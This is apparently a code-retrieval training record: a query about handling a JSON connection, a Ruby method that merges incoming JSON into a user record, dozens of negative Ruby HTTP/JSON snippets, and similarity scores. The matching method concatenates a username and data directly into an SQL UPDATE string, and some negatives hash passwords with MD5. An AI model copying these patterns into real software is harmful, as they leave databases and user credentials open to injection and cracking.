[ "0.71093315", "0.66793156", "0.6670483", "0.65333223", "0.64769554", "0.64717937", "0.6440939", "0.6352146", "0.6350687", "0.6300387", "0.6293557", "0.6254644", "0.6224628", "0.6216295", "0.6207218", "0.6202493", "0.6197675", "0.61959296", "0.61959296", "0.6195303", "0.6179514", "0.61642545", "0.6153171", "0.61517096", "0.61388725", "0.6137221", "0.6132717", "0.60922605", "0.6087422", "0.6052858", "0.6042138", "0.6033126", "0.60233825", "0.6021533", "0.5992804", "0.5976242", "0.5965793", "0.596521", "0.595305", "0.5949546", "0.5933306", "0.5913824", "0.5913824", "0.5906992", "0.590693", "0.58971024", "0.5895266", "0.5892806", "0.58882713", "0.5886617", "0.58770597", "0.5869891", "0.5833568", "0.5832546", "0.582754", "0.58127165", "0.5812457", "0.58111775", "0.57946515", "0.57794505", "0.57676643", "0.5766103", "0.57485634", "0.57468665", "0.57452816", "0.5744677", "0.5740565", "0.57375187", "0.57312393", "0.5723841", "0.57149076", "0.57103634", "0.5708164", "0.57068723", "0.5704072", "0.56955576", "0.5681867", "0.5680502", "0.5679458", "0.56755936", "0.5673288", "0.5669974", "0.5662273", "0.56612927", "0.5659939", "0.5659381", "0.5657851", "0.565551", "0.5649008", "0.5638032", "0.5631284", "0.56308115", "0.5624717", "0.56228817", "0.56205875", "0.5610402", "0.5599782", "0.5598561", "0.55978847", "0.55874944" ]
0.6076559
29
handle a connection that gives content json
def handleContentData(incomingData) # Get the user of the incoming data user = incomingData["User"] # combine existing data with the new data incomingJSON = incomingData["Data"] if(@existingJSON != nil) # turn the JSON into strings so that they don't get passed by reference combinedJSON = combineJSON(@existingJSON, JSON.generate(incomingJSON)) toWrite = JSON.generate(combinedJSON) else toWrite = JSON.generate(incomingJSON) end # write that data back into the database for the right user @loginDatabase.query("UPDATE users SET data='" +toWrite+"' WHERE username='" + user +"'"); end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def configure_connection(conn)\n conn.headers['Accept'] = [JSON_TYPE]\n\n conn.response :json, content_type: JSON_TYPE\n end", "def twemproxy_data\n stats = TCPSocket.open(host, port)\n JSON.parse(stats.gets)\n end", "def champs\n conn = Faraday.new(url, request: {open_timeout: 5, timeout: 5}) do |c|\n c.response :json, :content_type => /\\bjson$/\n c.use Faraday::Response::Logger # log request & response to STDOUT\n c.adapter Faraday.default_adapter\n end\n response = conn.get url\n #@hash = response.body['data']\n response.body['data']\n end", "def connect(&block) \n EM.run do\n http = connection.get\n buffer = \"\"\n http.stream do |chunk|\n buffer << chunk\n while line = buffer.slice!(/.+\\r\\n/)\n hash= MultiJson.decode(line, :symbolize_keys => true)\n block.call(hash)\n end\n end\n http.errback do\n EM.stop\n end\n end\n end", "def raw_connection; end", "def connection\n @connection ||= Faraday.new(url: 'http://api.unloq.co', headers: default_headers) do |conn|\n conn.request :json\n conn.adapter Faraday.default_adapter\n conn.response :json, :content_type => /\\bjson$/\n end\n end", "def get_response url, format\r\n begin\r\n response = Net::HTTP.get_response(URI.parse(url))\r\n if format.to_sym == :json\r\n res = JSON.parse response.body\r\n else\r\n res = response.body\r\n end\r\n rescue Exception => e\r\n res = \"ERROR: There is a problem while fetching data, please check whether OpenTSDB is running or not.\"\r\n end\r\n res\r\n end", "def get(connection, path, args = {})\n host, port = connection_host_and_port(connection)\n\n res = open(\n \"http://#{host}:#{port}#{path}#{to_get_params(args)}\"\n ).read\n puts res if @debug\n\n begin\n res = JSON.parse(res)\n raise res['error'] if res.is_a?(Hash) and res['error']\n return res\n rescue JSON::ParserError => e\n end\n\n res\n end", "def getDBData(urlInput)\n url = URI.parse(urlInput)\n server = Couch::Server.new(url.host, url.port)\n res = server.GET(urlInput)\n puts \"PARSING JSON FILE--------------\"\n json = JSON.parse(res.body)\n return json\n end", "def show\n @connection = Connection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @connection }\n end\n end", "def run(connection)\n connection.public_send(verb, path) do |request|\n request.params = params\n request.headers[:content_type] = Command::JSON_CONTENT_TYPE\n request.body = MultiJson.dump(body)\n end\n end", "def json_connection\n @json_connection ||= Faraday.new(@json_endpoint, @connection_options.merge(:builder => @middleware))\n end", "def show\n connection = connection_from_params\n if connection.nil?\n head 404\n else\n render jsonapi: connection_from_params, serializer: Connection::Serializer\n end\n end", "def handle_links(json) end", "def response\n raise \"Need to define how connector handles response\"\n end", "def room_descriptions_method\r\n my_port = 8081\r\n htttproomnumber = $roomnumber\r\n roomsNtext = \"/#{htttproomnumber}\"\r\n rooms_message = \"/rooms#{roomsNtext}\"\r\n url = URI.parse(\"http://localhost:#{my_port}#{rooms_message}\")\r\n req = Net::HTTP::Get.new(url.to_s)\r\n res = Net::HTTP.start(url.host, url.port){|http|\r\n http.request(req)\r\n }\r\n my_json = JSON.parse(res.body) \r\n return my_json[\"room\"].to_s\r\nend", "def handle_response(resp)\n self.response = JSON.parse(resp.body, symbolize_names: true)\n\n # :content and :reference must be included in response.\n if response.keys.include?(:content) && response.keys.include?(:reference)\n return\n end\n\n # :content or :reference not included.\n raise ::EasyManageClient::InvalidResponseContent\n end", "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend", "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend", "def data\n construct_url\n JSON.parse(response)\n end", "def send_request(uri)\n resp = Net::HTTP.get_response(uri) \n data = JSON.parse(resp.body) # convert the JSON string to Ruby Hash\n return data\n end", "def post_connect(uri, response, body_io); end", "def interface\n respond_to do |format|\n format.json {}\n end\n end", "def net_http_res; end", "def raw\n connection\n end", "def handle_response(response)\n response.value\n JSON.parse(response.body).with_indifferent_access\n rescue Net::HTTPClientException => e\n raise_error(e)\n end", "def mget\n begin \n params.reject! {|key, value| ['controller', 'action', 'format'].include?(key)}\n @connections = []\n params.each do |key, value|\n @connections << {key: value, value: to_obj($redis.get(value)), ttl: $redis.ttl(value)}\n end \n rescue => e\n @connections = {status: 500, message: e.message }\n end \n\n respond_to do |format|\n format.json { render json: @connections }\n end\n end", "def call()\n json = do_request()\n parse(json)\n end", "def json\n raise StandardError, 'No JSON library initialized' unless URL.json_handler\n @json ||= URL.json_handler.new(self).parse\n end", "def reply_json(req, data)\n self.send_resp(req.sender, req.conn_id, JSON.generate(data))\n end", "def with_json_doc(url)\n vortex = Vortex::Connection.new(url,:use_osx_keychain => true)\n if(not(vortex.exists?(url)))then\n puts \"Warning: Can't find \" + url\n return -1\n end\n vortex.find(url) do |item|\n begin\n data = JSON.parse(item.content)\n yield item, data\n rescue\n return -1\n end\n end\nend", "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend", "def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n #puts \"🤖 GET #{path}\"\n #puts \"HTTP #{response.code}\"\n #puts JSON.pretty_generate(result)\n result\nend", "def http; end", "def connect\n self.send({\n msg: :connect,\n version: @version,\n support: @support\n })\n\n #handle incoming response form the server\n self.onmessage = lambda do |event|\n\n res = JSON.parse(event.data)\n\n if res.has_key? 'session'\n #connection is successful - update session and record version\n @session = res['session'].to_s\n @@last_suc_version = @version\n\n else #there was a failed connection\n @version = res['version']\n #retry the send request with the version specified by the server\n self.send({\n msg: :connect\n version: @version,\n support: @support\n })\n end\n\n end\n end", "def http_accept_json(http_method, params, data=nil)\n url = URI.parse(\"http://localhost:7000/test/#{params}\")\n\n Net::HTTP.start(url.host, url.port) do |http|\n initheader = {'Accept:' => 'application/json'}\n response = case http_method\n when :GET\n http.get(url.path, initheader)\n when :PUT\n http.put(url.path, data, initheader)\n when :POST\n http.post(url.path, data, initheader)\n when :DELETE\n http.delete(url.path, initheader)\n end\n JSON.parse(response.body)\n end\nend", "def json_get\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n write_json @note if @note\n render :nothing => true\n end", "def body\n json? ? handle_json : handle_raw\n end", "def connection; end", "def connection; end", "def connection; end", "def connection; end", "def connection; end", "def connection; end", "def connection; end", "def connection; end", "def handle\n respond\n nil\n end", "def recv_json\n # gets returns nil on the end-of-file condition\n begin\n\n msg = @socket.gets\n puts \"\\033[36m #{Time.new.inspect}: RECIEVED #{msg} \\033[39m\";\n if msg\n parsed = JSON.parse(msg)\n return parsed\n else\n close\n return nil\n end\n rescue JSON::ParserError => e\n send_error(e.message)\n retry\n rescue Errno::ETIMEDOUT\n puts \"User timed out!\"\n close\n return nil\n end\n end", "def connection\n response&.request\n end", "def show\n json_response(@stream)\n end", "def create_connection\n\t\t@connection = Faraday.new(:url => @base_url) do |faraday|\n\t\t\tfaraday.headers['Accept'] = 'application/json'\n\t\t\tfaraday.adapter Faraday.default_adapter\n\t\tend\n\tend", "def get_json\n @link += \"&maxwidth=\" + @options[:maxwidth] if @options[:maxwidth]\n @link += \"&maxheight=\" + @options[:maxheight] if @options[:maxheight]\n obj = open(@link){ |f| f.read}\n JSON.parse(obj).each{ |key, val| self[key] = val} if JSON.parse(obj)\n end", "def receive_data data\n @connection_attempts = 0\n @buffer.extract(data).each do |packet|\n response = JSON.parse(packet)\n log.debug { d = response['result'].inspect\n \"response: #{response['method']} #{d[0...50]}#{d.size > 50 ? '...' : ''}\" }\n if cb = @requests[response['id']]\n cb.call(response['result'])\n else\n callback(:response, response['method'], response['result'])\n callback(response['method'].to_sym, response['result'])\n end\n end\n end", "def read\n res = conn.get(escaped_path)\n @headers = res.headers\n res.body\n end", "def get_json()\n\n http = Net::HTTP.new(STATUS_URI.host, STATUS_URI.port)\n http.use_ssl = false\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(\"/api/services.json\")\n\n response = http.request(request)\n JSON.parse(response.body)\nend", "def http\n HTTP .headers(accept: \"application/json\")\n # .via(\"127.0.0.1\", 8888)\n end", "def recvmessage\n line = @socket.readline\n JSON.parse(line)\n end", "def raw_response; end", "def handle_request(client, lines, requests); end", "def recv_json\n self.recv.tap do |req|\n req.data ||= JSON.parse(req.body)\n end\n end", "def fetch\n service = Diplomat::Service.get('resources')\n url = \"http://#{service.Address}:#{service.ServicePort}/\"\n # if Rails.env.production?\n # service = Diplomat::Service.get('resources')\n # url = \"http://#{service.Address}:#{service.ServicePort}/\"\n # else\n # url = 'http://localhost:3001/'\n # end\n conn = Faraday.new(url: url) do |faraday|\n faraday.response :logger, ::Logger.new(STDOUT), bodies: true\n faraday.adapter Faraday.default_adapter\n faraday.headers['Content-Type'] = 'application/json'\n end\n self.send(\"fetch_#{self.type}\", conn)\n end", "def handle_response(response); end", "def handle_response(response); end", "def json_response response\n JSON.parse response.body\n end", "def forward_json(reading_json)\n #uri = URI.parse(\"http://cmu-sensor-network.herokuapp.com/sensors\")\n uri = URI.parse(\"http://209.129.244.9/sensors\")\n post_json_request = Net::HTTP::Post.new(uri.request_uri)\n post_json_request.add_field(\"Content-Type\", \"application/json\")\n post_json_request.body = reading_json\n http = Net::HTTP::new(uri.host, uri.port)\n response = http.request(post_json_request)\n return response\n end", "def connection\n @options[:path] =API_VERSION1+ @options[:path]\n @options[:headers] = HEADERS.merge({\n 'X-Megam-Date' => Time.now.strftime(\"%Y-%m-%d %H:%M\")\n }).merge(@options[:headers])\n\n text.info(\"HTTP Request Data:\")\n text.msg(\"> HTTP #{@options[:scheme]}://#{@options[:host]}\")\n @options.each do |key, value|\n text.msg(\"> #{key}: #{value}\")\n end\n text.info(\"End HTTP Request Data.\")\n @connection = Excon.new(\"#{@options[:scheme]}://#{@options[:host]}\",@options)\n end", "def get_json(url, args = {})\n response = adapter.get(url, args) do |req|\n req.headers['Content-Type'] = 'application/json'\n req.headers['Accept'] = 'application/json'\n end\n body = response.body\n JSON.parse(body)\n end", "def serialize(content, params)\n # when the cb parameter is specified, return a JSONP response\n if params[:format] == \"csv\"\n response['Content-Type'] = \"text/csv\"\n CSV.generate do |csv|\n csv << %w[node name timestamp value]\n content.each do |uuid, name_series|\n name_series.each do |name, ts_val|\n ts_val.each do |ts, val|\n csv << [uuid, name, ts, val]\n end\n end\n end\n end\n elsif params[:format] == \"jsonp\" or params[:cb]\n hastur_error!(\"cb callback parameter is required for jsonp!\", 501) unless params[:cb]\n response['Content-Type'] = \"text/javascript\"\n \"#{params[:cb]}(#{MultiJson.dump(content)});\\n\"\n # otherwise, just make it regular JSON\n else\n response['Content-Type'] = \"application/json\"\n MultiJson.dump(content, :pretty => params[:pretty]) + \"\\n\"\n end\n end", "def getCounchDBData \r\n url = URI.parse(\"http://citivan.iriscouch.com/_utils\") \r\n server = Couch::Server.new(url.host, url.port) \r\n res = server.get(\"/sms/currentUsers\") \r\n json = res.body \r\n json = JSON.parse(json) \r\nend", "def request_data(request_url)\n\n uri = URI.parse(request_url)\n response = Net::HTTP.get_response(uri)\n data = JSON.parse(response.body)\n return data\n\nend", "def body\n connection.get(@url.path).body\n end", "def connection_wrapper(&block)\n begin\n response = block.call\n raise ClientError.new(response.body['error']) if response.body.has_key?('error')\n rescue Faraday::ParsingError => e\n # Has gotten a response, but it is not formatted with JSON\n raise ClientError.new(e.message)\n rescue Faraday::ClientError => e\n # Failed to build a connection\n raise ConnectionError.new(e.message)\n end\n\n response\n end", "def show\n render json: @content\n end", "def read_data\n\t\tbegin\n\t\t\treturn if @socket.closed?\n\t\t\tbytes = @socket.read(2)\n\t\t\traise IOError.new(\"no byte header\") unless bytes && bytes.bytesize==2\n\t\t\tbytes = bytes.unpack('n').first\n\t\t\treturn if @socket.closed?\n\t\t\tjson = @socket.read(bytes)\n\t\t\tputs \"RECV %3i bytes from %s: %s\" % [bytes,name,json] if $DEBUG\n\t\t\traise IOError.new(\"not enough JSON data\") unless json && json.bytesize==bytes\n\t\t\tJSON.parse(\"[#{json}]\",symbolize_names:true)[0]\n\t\trescue JSON::ParserError => e\n\t\t\twarn \"Failed to parse JSON response: #{json.inspect}; #{e}\"\n\t\trescue IOError => e\n\t\t\[email protected]\n\t\tend\n\tend", "def index\n @connections = Connection.all(:include => :user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @connections }\n end\n end", "def connection\n Faraday.new(api_url) do |conn|\n conn.use :breakers\n conn.response :snakecase\n conn.response :json, content_type: /\\bjson$/\n conn.adapter Faraday.default_adapter\n end\n end", "def connection\n Faraday.new(api_url) do |conn|\n conn.use :breakers\n conn.response :snakecase\n conn.response :json, content_type: /\\bjson$/\n conn.adapter Faraday.default_adapter\n end\n end", "def json\n JSON.parse @body\n end", "def get_inf(url)\n\turi = URI.parse(url)\n\tresponse = Net::HTTP.get_response(uri)\n\tJSON.parse(response.body)\nend", "def fetch_json(query)\n # query the JSON API using the queries provided below\n # uncomment next line to see the queries being sent to the api in the console. useful for debugging.\n # puts(ENDPOINT + query)\n JSON.load(open(ENDPOINT + query))\n end", "def parse_content(content)\n MultiJson.decode(content.body)\n end", "def response_body(uri)\n req = Net::HTTP::Get.new(uri)\n req.basic_auth(@username, @password)\n resp = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) {|http|\n http.request(req)\n }\n JSON.parse resp.body\n end", "def connection\n begin\n connection = nextPendingConnection\n url = nil\n body = \"\"\n headers = \"\"\n while connection.isOpen\n if connection.canReadLine\n line = connection.readLine.to_s\n if line =~ /(GET|POST)\\s+(.*)\\s+HTTP/\n url = Qt::Url.new($2)\n break\n else\n break # some kind of error?\n end\n else\n connection.waitForReadyRead(100)\n end\n end\n \n while connection.isOpen\n if connection.canReadLine\n line = connection.readLine.to_s\n if line.chomp == \"\"\n break\n else\n headers << line\n end\n else\n connection.waitForReadyRead(100)\n end\n end\n \n if connection.isOpen\n body = connection.readAll.to_s\n end\n \n if url && url.path =~ /\\/turtle\\/(.*)/\n command = $1\n param = URI.decode(url.encodedQuery.to_s)\n if command == \"init_turtle\"\n @turtle.init_turtle\n connection.write validResponse(\"OK\")\n elsif command == \"command_turtle\"\n @turtle.command_turtle(param)\n connection.write validResponse(\"OK\")\n elsif command == \"background\"\n @turtle.background(param)\n connection.write validResponse(\"OK\")\n elsif command == \"width\"\n connection.write validResponse(@turtle.width)\n elsif command == \"height\"\n connection.write validResponse(@turtle.height)\n else\n connection.write errorResponse\n end\n elsif url && url.path =~ /\\/(.*)/\n command = $1\n if command == \"alert\"\n param = URI.decode(url.encodedQuery.to_s)\n @parent.alert(param)\n connection.write validResponse(\"OK\")\n elsif command == \"ask\"\n param = URI.decode(url.encodedQuery.to_s)\n connection.write validResponse(@parent.ask(param)) \n elsif command == \"append\"\n param = URI.decode(url.encodedQuery.to_s) \n @parent.append(param)\n connection.write validResponse(\"OK\")\n elsif command == \"appendError\"\n param = URI.decode(url.encodedQuery.to_s)\n @parent.appendError(param)\n connection.write validResponse(\"OK\")\n elsif command == \"gets\"\n connection.write validResponse(@parent.gets) \n else\n connection.write errorResponse\n end\n else\n connection.write errorResponse\n end\n\n connection.disconnectFromHost()\n rescue \n puts \"ERROR #{$!}\"\n end\n end", "def connection_handlers\n @connection_handlers ||= [\n proc do |conn|\n conn.request :json\n if @oauth2\n conn.request :oauth2, @oauth2.token, :token_type => @oauth2.token_type\n end\n end,\n proc do |conn|\n if @logging\n conn.response :logger, nil, :bodies => (@logging.casecmp('DEBUG') == 0)\n end\n conn.response :json, :content_type => /\\bjson$/\n end,\n proc{|conn| conn.adapter Faraday.default_adapter }\n ]\n end", "def handle_request\n payload = @req.POST[\"payload\"]\n\n return rude_comment if payload.nil?\n\n puts payload unless $DEPLOYED # remove me!\n\n payload = JSON.parse(payload)\n# render_payload_to_hipchat(payload)\n @res.write THANK_YOU_COMMENT\n end", "def json\n response.parsed_body\n end", "def listen_and_save\n socket = TCPSocket.new(@host,@port)\n socket.write \"GET #{@path} HTTP/1.1\\r\\n\"\n socket.write \"Host: #{@host}\\r\\n\"\n socket.write \"\\r\\n\" \n captured_content = \"\"\n while line = socket.readline.chomp # used chomp to remove trailing newline \n # concatenating line socket response to avoid broken JSON from socket\n captured_content = captured_content + line if line.length > 10\n captured_content = \"\" if !captured_content.start_with?('{\"') \n if result = valid_json?(captured_content)\n add_to_redis_list(result)\n captured_content = \"\" \n end \n end \n end", "def public_connection(method, url, xml = '')\n res = nil\n begin\n case method\n when \"GET\"\n res = @public_connection.get url\n when \"POST\"\n if xml and xml.length > 0\n res = @public_connection.post url, xml,\n { 'Content-Type' => 'application/xml' }\n else\n res = @public_connection.post url\n end\n when \"PUT\"\n if xml and xml.length > 0\n res = @public_connection.put url, xml,\n { 'Content-Type' => 'application/xml' }\n else\n res = @public_connection.put url\n end\n when \"DELETE\"\n if xml and xml.length > 0\n res = @public_connection.delete url, xml,\n { 'Content-Type' => 'application/xml' }\n else\n res = @public_connection.delete url\n end\n else\n handle_exception 'unknown_method'\n end\n case res.code\n when HTTP_OK \n yield res.body if block_given?\n when HTTP_CREATED\n yield res.body if block_given?\n when HTTP_FORBIDDEN\n handle_exception 'protected_resource'\n when HTTP_NOT_FOUND\n handle_exception 'resource_not_found'\n when HTTP_BAD_GATEWAY\n handle_exception 'server_not_responding'\n else\n handle_exception 'unknown'\n end\n rescue Exception => e\n raise e if e.is_a? VzaarError\n handle_exception 'unknown', e.message\n end\n res\n end", "def get_json\n response = conn.get(@current_location)\n parsed = JSON.parse(response.body, symbolize_names: true)\n\n end", "def handle_message(data)\n if @encoding == :etf\n handle_etf_message(data)\n else\n handle_json_message(data)\n end\n end", "def yield_connection\n response = begin\n resource = @connection_pool.resource\n yield resource\n ensure\n resource.close if resource\n end\n\n if @convert_objects\n convert(response)\n else\n response\n end\n end", "def receive_data data\n @buf.extract(data).each do |packet|\n begin\n request = JSON::parse(packet)\n log.debug { request }\n case request['method']\n when \"relay_tx\"\n return handle_relay_tx(request, *request['params'])\n when \"monitor\"\n respond(request, handle_monitor(request, *request['params']))\n else\n if respond_to?(\"handle_#{request['method']}\")\n respond(request, send(\"handle_#{request['method']}\", *request['params']))\n else\n respond(request, { error: \"unknown command: #{request['method']}. send 'help' for help.\" })\n end\n end\n rescue\n respond(request, { error: $!.message })\n end\n end\n rescue Exception\n p $!; puts *$@\n end", "def run\n config = YakvdConfig.yakvd_config\n config[:storage] = Kernel.const_get(config[:storage_name])\n\n storage = config[:storage].new(config)\n response_obj = QueryResponse.new(storage)\n query_parser = QueryParser.new(response_obj)\n\n server = TCPServer.new('', 2000)\n loop {\n connection = server.accept\n while true\n header_line = connection.gets \"\\r\\n\"\n p header_line\n #TODO: there must be header_line == '\\r\\n' or header_line == \"\\r\\n\"\n # or header_line.equal?('\\r\\n')\n # but it doesn't work\n if header_line.length == 2\n break\n end\n end\n message = connection.gets \"\\r\\n\"\n p message.strip\n message_hash = JSON.parse(message.strip)\n query_hash = message_hash['query']\n response = query_parser.parse(query_hash)\n req_response = response\n connection.write(req_response)\n connection.close\n }\nend", "def read\n res = conn.get(escaped_path)\n @headers = res.headers\n res.body\n end", "def stats\n JSON.parse TCPSocket.new(@options[:stats_uri].host,@options[:stats_uri].port).read rescue {}\n end", "def readJSONFromUrl(url)\n # use GET request to retrieve the json\n uri = URI(url)\n response = Net::HTTP.get(uri)\n json = JSON.parse(response)\n return json\nend", "def load_handle handle\n handle_uri = @root_uri + handle.to_s\n\n res = @http.request handle_uri\n\n /<data[^>]+>(?<body>.*?)<\\/data>/m =~ res.body\n\n raise Error, res.body unless body\n\n body = body.split\n\n $stderr.puts \"loaded #{body.length} for #{handle}\"\n\n body\n end", "def show\n @conn = current_user.conns.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conn }\n end\n end", "def poll_response\n begin\n r = JSON.parse(content.gsub('\\\"', '\\'')).to_hash\n puts r\n return r\n rescue JSON::ParserError\n return content\n end\n end", "def process\n data = JSON.parse(@message)\n Log.info data.ai\n end", "def jump_connection\n logger = Logger.new(@config[:log])\n logger.level = Logger.const_get(@log_level)\n Faraday.new(url: 'https://' + @api_hosts_list[@api_host_index]) do |conn|\n conn.headers['Content-Type'] = 'application/json;charset=UTF-8'\n conn.headers['Accept'] = 'application/json'\n conn.headers['x-sessionToken'] = @session_token ? @session_token : ''\n conn.headers['x-authenticationToken'] = @auth_token ? @auth_token : ''\n conn.headers['User-Agent'] = @config[:user_agent]\n conn.request :url_encoded\n conn.use :eds_exception_middleware\n conn.response :json, content_type: /\\bjson$/\n conn.response :detailed_logger, logger if @debug\n conn.options[:open_timeout] = @config[:open_timeout]\n conn.options[:timeout] = @config[:timeout]\n conn.adapter :net_http_persistent\n end\n end" ]
[ "0.69958323", "0.6112866", "0.6031955", "0.5889765", "0.5804131", "0.57724386", "0.5742863", "0.5730512", "0.57277775", "0.5713483", "0.5701724", "0.5698408", "0.56697285", "0.5616843", "0.55632627", "0.55054545", "0.55018336", "0.5483032", "0.5483032", "0.54759866", "0.5456658", "0.54484636", "0.5446512", "0.544625", "0.5427721", "0.542249", "0.5414591", "0.5406305", "0.53929895", "0.5383265", "0.5369814", "0.5358858", "0.5356543", "0.535577", "0.5348209", "0.53465116", "0.5340623", "0.5338982", "0.5338875", "0.5338875", "0.5338875", "0.5338875", "0.5338875", "0.5338875", "0.5338875", "0.5338875", "0.5323221", "0.5316807", "0.5312405", "0.5297502", "0.52926844", "0.5292243", "0.52879846", "0.52823293", "0.5272302", "0.52679104", "0.5267887", "0.5267239", "0.5264922", "0.5256567", "0.5254941", "0.52518505", "0.52518505", "0.52478606", "0.52469873", "0.5244079", "0.5240137", "0.52381927", "0.52333826", "0.522459", "0.5220621", "0.52068883", "0.5199914", "0.5194822", "0.51826155", "0.5178477", "0.5178477", "0.51716286", "0.5170601", "0.51659113", "0.5162716", "0.516249", "0.51620644", "0.51619875", "0.515944", "0.5159142", "0.51556915", "0.51500905", "0.5139383", "0.5135672", "0.51330245", "0.5130286", "0.5128363", "0.5119776", "0.51197", "0.5118754", "0.51145303", "0.51134795", "0.5110639", "0.51090944", "0.510592" ]
0.0
-1
handle a connection that gives login json
def handleLoginData(loginJSON, client) userID = loginJSON["userID"] passwordHash = loginJSON["passwordHash"] users = @loginDatabase.query("SELECT * FROM users") sleep(1) # wait a second so the client has time to wait for the response # Check the incoming data against all users, and if we have a match, send back an 'okay' users.each do |user| if(userID == user["username"] && passwordHash == user["password"]) puts "okay" client.write("okay") #get the existingJSON once from the database @existingJSON = user['data'] return end end # If we haven't given a response by now, send back a "bad" response client.write("bad") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def login\n #handle unexpected error with status code 500\n begin\n if request.env['CONTENT_TYPE'].include?('application/json') \n @client = Client.new\n errCode = @client.login(params[:user], params[:password])\n if errCode > 0\n dic = {:errCode => 1, :count => errCode}\n respond_to do |format|\n format.json { render json: dic, :status => 200 }\n end\n else\n dic = {:errCode => errCode}\n respond_to do |format|\n format.json { render json: dic, :status => 200 }\n end\n end\n else\n render :json => { :errors => \"Wrong Content-Type on Request'\" }, :status => 500\n end\n rescue\n render :json => { :errors => \"Unknown Errors\" }, :status => 500\n end\n end", "def server\n reply = json_get(target, '/login', key_style)\n return reply if reply && (reply[:prompts] || reply['prompts'])\n raise BadResponse, \"Invalid response from target #{target}\"\n end", "def login\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "def process_login\n user = User.where(login: params[:user][:login], password: params[:user][:password]).first\n respond_with :api, json:!user.nil?\n end", "def login()\n uri = URI('http://54.252.241.122:8000/users/authenticate')\n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/json')\n req.body = {email: '[email protected]', password: '*********'}.to_json\n res = http.request(req)\n tkn=JSON.parse(res.body)\n return tkn['result']['token']\nend", "def auto_login\n render json: @user\n end", "def auto_login\n render json: @user\n end", "def login; end", "def auto_login\n render json: @user\n end", "def auto_login\n render json: @user\n end", "def _login(username, password)\n begin\n return set_error_object({message: @configuration.not_initialized_message}) if not_initialized?\n url = \"#{base_uri}/#{@configuration.users_path}/login.#{@configuration.api_request_format}\"\n response = post url, body: {user: username, password: Digest::MD5.hexdigest(password)}\n JSON.parse (response.body && !response.body.empty?) ? response.body : set_error_object #returns the complete object\n rescue => e\n puts e.to_s #debug the error\n end\n end", "def login_request(username, password)\n post(data['hosts']['auth'] + '/login', {\n headers: {\n 'Content-Type' => 'application/json'\n },\n body: {\n username: username,\n password: password\n }\n })\nend", "def auto_login\n render json: logged_in_user\n end", "def login\n \t\t response = @client.request :login do\n soap.body = { username: self.zconfig.user_name, password: self.zconfig.password}\n \t\t end\n \t\t response.to_hash\n \t \t self.session = response.to_hash[:login_response][:result][:session]\n end", "def http_auth_login\n # FIXME: Implement\n end", "def login(username, pwd)\n user = @server.proxy('User')\n logged_in_user_response = user.login({'login' => username, 'password' => pwd})\n #puts \"\\nlogged in user id = \" + logged_in_user_response['id'].to_s\n end", "def login\n if params[:user] && params[:pass]\n @user = User.find_by_username(params[:user])\n if @user\n if @user.password == params[:pass]\n @json = {:status => \"success\", :id => @user.id}\n render json: @json\n else\n send_error(\"invalid password\")\n end\n else\n send_error(\"user not found\") \n end\n else\n send_error(\"bad parameters\")\n end\n end", "def login\n Socky.send( {:action => \"login\", \n :user => params[:user],\n :channel => params[:channel]}.to_json,\n :to => { :channels => params[:channel] })\n render :text => \"ok\"\n end", "def connection_status_login_request; end", "def login\n end", "def call_rest_login\n print \"validating credentials...\" \n @uri.path = \"/nitro/v1/config/login/\"\n @request = Net::HTTP::Post.new(@uri)\n @request.add_field('Content-Type', 'application/vnd.com.citrix.netscaler.login+json')\n @request.body = { :login => { :username => \"#{@username}\", :password => \"#{@password}\" } }.to_json \n\n Net::HTTP.start(@uri.host, @uri.port) { |http|\n response = http.request(@request)\n if response.code == \"201\"\n print \"success!\\n\"\n else\n print \"fail!\\n\"\n print JSON.parse(response.body), \"\\n\"\n abort()\n end\n }\n end", "def login\n response = get \"server\"\n response.code == 200\n end", "def login\n response = get \"server\"\n response.code == 200\n end", "def login(email, password)\n post api_v1_user_session_path, \n headers: { 'CONTENT_TYPE' => 'application/json', 'ACCEPT' => 'application/json' },\n params: { email: email, password: password }.to_json\nend", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n user = User.find_by(username: params[\"username\"])\n if user && user.authenticate(params[\"password\"])\n session[:current_user_id] = user.id\n render json: User.to_hash(user)\n else\n render json: nil\n end\n end", "def login\n @user = User.authenticate credentials[:email], credentials[:password]\n if @user # serializer makes it easier to return json, in this case the token\n render json: @user, serializer: LoginUserSerializer, root: 'user'\n else\n head :unauthorized # if authentication case this is executed\n end\n end", "def login\n\t\t\tresponse = @http.get(\"/authentication/whoami\")\n\t if(response.code == '200')\n\t set_cookie(response)\n\t puts \"\"\n\t puts \"================\"\n\t puts \"login\"\n\t login_response = @http.post(\"/authentication/login\",\"username=#{@username}&password=#{@password}&skin=#{@skin}&account=#{@account}\",{'Cookie' => @cookies.to_s})\n\t check_cookie(login_response)\n\t login_check(login_response)\n\t puts \"--------\"\n\t else\n\t puts \"Error invalid host #{response.message}\"\n\t abort #if the login site is invalid, then abort\n\t end \n\t\tend", "def sign_in\n login = params['login']\n password = params['password']\n type = (params['type'] || 'standard').to_sym\n\n if login.nil? || password.nil?\n render :json => {error:'please enter params'}\n return\n end\n\n if type == :standard\n user = 